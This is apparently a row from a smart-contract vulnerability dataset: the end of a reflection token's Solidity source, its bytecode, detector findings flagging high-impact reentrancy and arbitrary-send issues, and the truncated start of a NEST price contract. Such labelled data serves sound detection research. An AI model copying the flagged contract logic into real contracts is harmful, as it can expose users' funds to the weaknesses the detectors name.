_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
/*
*/
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e9f565b60405180910390f35b34801561015057600080fd5b5061016b600480360381019061016691906129a6565b61045e565b6040516101789190612e84565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613041565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612953565b61048d565b6040516101e09190612e84565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b91906128b9565b610566565b005b34801561021e57600080fd5b50610227610656565b60405161023491906130b6565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a2f565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f91906128b9565b610783565b6040516102b19190613041565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612db6565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e9f565b60405180910390f35b34801561033357600080fd5b5061034e600480360381019061034991906129a6565b61098d565b60405161035b9190612e84565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129e6565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a89565b6110ab565b005b3480156103f057600080fd5b5061040b60048036038101906104069190612913565b6111f4565b6040516104189190613041565b60405180910390f35b60606040518060400160405280600c81526020017f2042616e6b20466c6f6b69200000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b610556856040518060600160405280602881526020016137bd60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f81565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f81565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d92565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f81565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f2042462000000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f81565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133fe565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613357565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611e00565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f81565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90613001565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128e6565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128e6565b6040518363ffffffff1660e01b8152600401610df9929190612dd1565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128e6565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612e23565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612ab6565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dfa565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a5c565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f81565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f41565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061208890919063ffffffff16565b61210390919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e99190613041565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fe1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612f01565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114419190613041565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612fc1565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ec1565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612fa1565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90613021565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613177565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611e00565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c078484848461214d565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e9f565b60405180910390fd5b5060008385611c649190613258565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cd4600a611cc660048661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cff573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d63600a611d5560068661208890919063ffffffff16565b61210390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8e573d6000803e3d6000fd5b5050565b6000600654821115611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd090612ee1565b60405180910390fd5b6000611de361217a565b9050611df8818461210390919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e3857611e3761342d565b5b604051908082528060200260200182016040528015611e665781602001602082028036833780820191505090505b5090503081600081518110611e7e57611e7d6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f2057600080fd5b505afa158015611f34573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f5891906128e6565b81600181518110611f6c57611f6b6133fe565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fd330600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161203795949392919061305c565b600060405180830381600087803b15801561205157600080fd5b505af1158015612065573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561209b57600090506120fd565b600082846120a991906131fe565b90508284826120b891906131cd565b146120f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120ef90612f61565b60405180910390fd5b809150505b92915050565b600061214583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121a5565b905092915050565b8061215b5761215a612208565b5b612166848484612239565b8061217457612173612404565b5b50505050565b6000806000612187612416565b9150915061219e818361210390919063ffffffff16565b9250505090565b600080831182906121ec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121e39190612e9f565b60405180910390fd5b50600083856121fb91906131cd565b9050809150509392505050565b600060085414801561221c57506000600954145b1561222657612237565b600060088190555060006009819055505b565b60008060008060008061224b87612478565b9550955095509550955095506122a986600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124df90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061233e85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061238a81612587565b6123948483612644565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123f19190613041565b60405180910390a3505050505050505050565b60026008819055506003600981905550565b600080600060065490506000683635c9adc5dea00000905061244c683635c9adc5dea0000060065461210390919063ffffffff16565b82101561246b57600654683635c9adc5dea00000935093505050612474565b81819350935050505b9091565b60008060008060008060008060006124948a600854600c61267e565b92509250925060006124a461217a565b905060008060006124b78e878787612714565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061252183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125389190613177565b90508381101561257d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161257490612f21565b60405180910390fd5b8091505092915050565b600061259161217a565b905060006125a8828461208890919063ffffffff16565b90506125fc81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461252990919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612659826006546124df90919063ffffffff16565b6006819055506126748160075461252990919063ffffffff16565b6007819055505050565b6000806000806126aa606461269c888a61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126d460646126c6888b61208890919063ffffffff16565b61210390919063ffffffff16565b905060006126fd826126ef858c6124df90919063ffffffff16565b6124df90919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061272d858961208890919063ffffffff16565b90506000612744868961208890919063ffffffff16565b9050600061275b878961208890919063ffffffff16565b905060006127848261277685876124df90919063ffffffff16565b6124df90919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006127b06127ab846130f6565b6130d1565b905080838252602082019050828560208602820111156127d3576127d2613461565b5b60005b8581101561280357816127e9888261280d565b8452602084019350602083019250506001810190506127d6565b5050509392505050565b60008135905061281c81613777565b92915050565b60008151905061283181613777565b92915050565b600082601f83011261284c5761284b61345c565b5b813561285c84826020860161279d565b91505092915050565b6000813590506128748161378e565b92915050565b6000815190506128898161378e565b92915050565b60008135905061289e816137a5565b92915050565b6000815190506128b3816137a5565b92915050565b6000602082840312156128cf576128ce61346b565b5b60006128dd8482850161280d565b91505092915050565b6000602082840312156128fc576128fb61346b565b5b600061290a84828501612822565b91505092915050565b6000806040838503121561292a5761292961346b565b5b60006129388582860161280d565b92505060206129498582860161280d565b9150509250929050565b60008060006060848603121561296c5761296b61346b565b5b600061297a8682870161280d565b935050602061298b8682870161280d565b925050604061299c8682870161288f565b9150509250925092565b600080604083850312156129bd576129bc61346b565b5b60006129cb8582860161280d565b92505060206129dc8582860161288f565b9150509250929050565b6000602082840312156129fc576129fb61346b565b5b600082013567ffffffffffffffff811115612a1a57612a19613466565b5b612a2684828501612837565b91505092915050565b600060208284031215612a4557612a4461346b565b5b6000612a5384828501612865565b91505092915050565b600060208284031215612a7257612a7161346b565b5b6000612a808482850161287a565b91505092915050565b600060208284031215612a9f57612a9e61346b565b5b6000612aad8482850161288f565b91505092915050565b600080600060608486031215612acf57612ace61346b565b5b6000612add868287016128a4565b9350506020612aee868287016128a4565b9250506040612aff868287016128a4565b9150509250925092565b6000612b158383612b21565b60208301905092915050565b612b2a8161328c565b82525050565b612b398161328c565b82525050565b6000612b4a82613132565b612b548185613155565b9350612b5f83613122565b8060005b83811015612b90578151612b778882612b09565b9750612b8283613148565b925050600181019050612b63565b5085935050505092915050565b612ba68161329e565b82525050565b612bb5816132e1565b82525050565b6000612bc68261313d565b612bd08185613166565b9350612be08185602086016132f3565b612be981613470565b840191505092915050565b6000612c01602383613166565b9150612c0c82613481565b604082019050919050565b6000612c24602a83613166565b9150612c2f826134d0565b604082019050919050565b6000612c47602283613166565b9150612c528261351f565b604082019050919050565b6000612c6a601b83613166565b9150612c758261356e565b602082019050919050565b6000612c8d601d83613166565b9150612c9882613597565b602082019050919050565b6000612cb0602183613166565b9150612cbb826135c0565b604082019050919050565b6000612cd3602083613166565b9150612cde8261360f565b602082019050919050565b6000612cf6602983613166565b9150612d0182613638565b604082019050919050565b6000612d19602583613166565b9150612d2482613687565b604082019050919050565b6000612d3c602483613166565b9150612d47826136d6565b604082019050919050565b6000612d5f601783613166565b9150612d6a82613725565b602082019050919050565b6000612d82601183613166565b9150612d8d8261374e565b602082019050919050565b612da1816132ca565b82525050565b612db0816132d4565b82525050565b6000602082019050612dcb6000830184612b30565b92915050565b6000604082019050612de66000830185612b30565b612df36020830184612b30565b9392505050565b6000604082019050612e0f6000830185612b30565b612e1c6020830184612d98565b9392505050565b600060c082019050612e386000830189612b30565b612e456020830188612d98565b612e526040830187612bac565b612e5f6060830186612bac565b612e6c6080830185612b30565b612e7960a0830184612d98565b979650505050505050565b6000602082019050612e996000830184612b9d565b92915050565b60006020820190508181036000830152612eb98184612bbb565b905092915050565b60006020820190508181036000830152612eda81612bf4565b9050919050565b60006020820190508181036000830152612efa81612c17565b9050919050565b60006020820190508181036000830152612f1a81612c3a565b9050919050565b60006020820190508181036000830152612f3a81612c5d565b9050919050565b60006020820190508181036000830152612f5a81612c80565b9050919050565b60006020820190508181036000830152612f7a81612ca3565b9050919050565b60006020820190508181036000830152612f9a81612cc6565b9050919050565b60006020820190508181036000830152612fba81612ce9565b9050919050565b60006020820190508181036000830152612fda81612d0c565b9050919050565b60006020820190508181036000830152612ffa81612d2f565b9050919050565b6000602082019050818103600083015261301a81612d52565b9050919050565b6000602082019050818103600083015261303a81612d75565b9050919050565b60006020820190506130566000830184612d98565b92915050565b600060a0820190506130716000830188612d98565b61307e6020830187612bac565b81810360408301526130908186612b3f565b905061309f6060830185612b30565b6130ac6080830184612d98565b9695505050505050565b60006020820190506130cb6000830184612da7565b92915050565b60006130db6130ec565b90506130e78282613326565b919050565b6000604051905090565b600067ffffffffffffffff8211156131115761311061342d565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613182826132ca565b915061318d836132ca565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131c2576131c16133a0565b5b828201905092915050565b60006131d8826132ca565b91506131e3836132ca565b9250826131f3576131f26133cf565b5b828204905092915050565b6000613209826132ca565b9150613214836132ca565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561324d5761324c6133a0565b5b828202905092915050565b6000613263826132ca565b915061326e836132ca565b925082821015613281576132806133a0565b5b828203905092915050565b6000613297826132aa565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132ec826132ca565b9050919050565b60005b838110156133115780820151818401526020810190506132f6565b83811115613320576000848401525b50505050565b61332f82613470565b810181811067ffffffffffffffff8211171561334e5761334d61342d565b5b80604052505050565b6000613362826132ca565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613395576133946133a0565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137808161328c565b811461378b57600080fd5b50565b6137978161329e565b81146137a257600080fd5b50565b6137ae816132ca565b81146137b957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212208ed4614a02b3d265cd5e068a1ff025817627e68321f10d9a77cc3ab02a8353a364736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 7,712 |
0x94F36FAa6bB4f74009637292b09C355CcD3e80Eb
|
pragma solidity 0.6.0;
/**
* @title Price contract
* @dev Price check and call
*/
contract Nest_3_OfferPrice{
using SafeMath for uint256;
using address_make_payable for address;
using SafeERC20 for ERC20;
Nest_3_VoteFactory _voteFactory; // Voting contract
ERC20 _nestToken; // NestToken
Nest_NToken_TokenMapping _tokenMapping; // NToken mapping
Nest_3_OfferMain _offerMain; // Offering main contract
Nest_3_Abonus _abonus; // Bonus pool
address _nTokeOfferMain; // NToken offering main contract
address _destructionAddress; // Destruction contract address
address _nTokenAuction; // NToken auction contract address
struct PriceInfo { // Block price
uint256 ethAmount; // ETH amount
uint256 erc20Amount; // Erc20 amount
uint256 frontBlock; // Last effective block
address offerOwner; // Offering address
}
struct TokenInfo { // Token offer information
mapping(uint256 => PriceInfo) priceInfoList; // Block price list, block number => block price
uint256 latestOffer; // Latest effective block
}
uint256 destructionAmount = 0 ether; // Amount of NEST to destroy to call prices
uint256 effectTime = 0 days; // Waiting time to start calling prices
mapping(address => TokenInfo) _tokenInfo; // Token offer information
mapping(address => bool) _blocklist; // Block list
mapping(address => uint256) _addressEffect; // Effective time of address to call prices
mapping(address => bool) _offerMainMapping; // Offering contract mapping
uint256 _priceCost = 0.01 ether; // Call price fee
// Real-time price token, ETH amount, erc20 amount
event NowTokenPrice(address a, uint256 b, uint256 c);
/**
* @dev Initialization method
* @param voteFactory Voting contract address
*/
constructor (address voteFactory) public {
Nest_3_VoteFactory voteFactoryMap = Nest_3_VoteFactory(address(voteFactory));
_voteFactory = voteFactoryMap;
_offerMain = Nest_3_OfferMain(address(voteFactoryMap.checkAddress("nest.v3.offerMain")));
_nTokeOfferMain = address(voteFactoryMap.checkAddress("nest.nToken.offerMain"));
_abonus = Nest_3_Abonus(address(voteFactoryMap.checkAddress("nest.v3.abonus")));
_destructionAddress = address(voteFactoryMap.checkAddress("nest.v3.destruction"));
_nestToken = ERC20(address(voteFactoryMap.checkAddress("nest")));
_tokenMapping = Nest_NToken_TokenMapping(address(voteFactoryMap.checkAddress("nest.nToken.tokenMapping")));
_nTokenAuction = address(voteFactoryMap.checkAddress("nest.nToken.tokenAuction"));
_offerMainMapping[address(_offerMain)] = true;
_offerMainMapping[address(_nTokeOfferMain)] = true;
}
/**
* @dev Modify voting contract
* @param voteFactory Voting contract address
*/
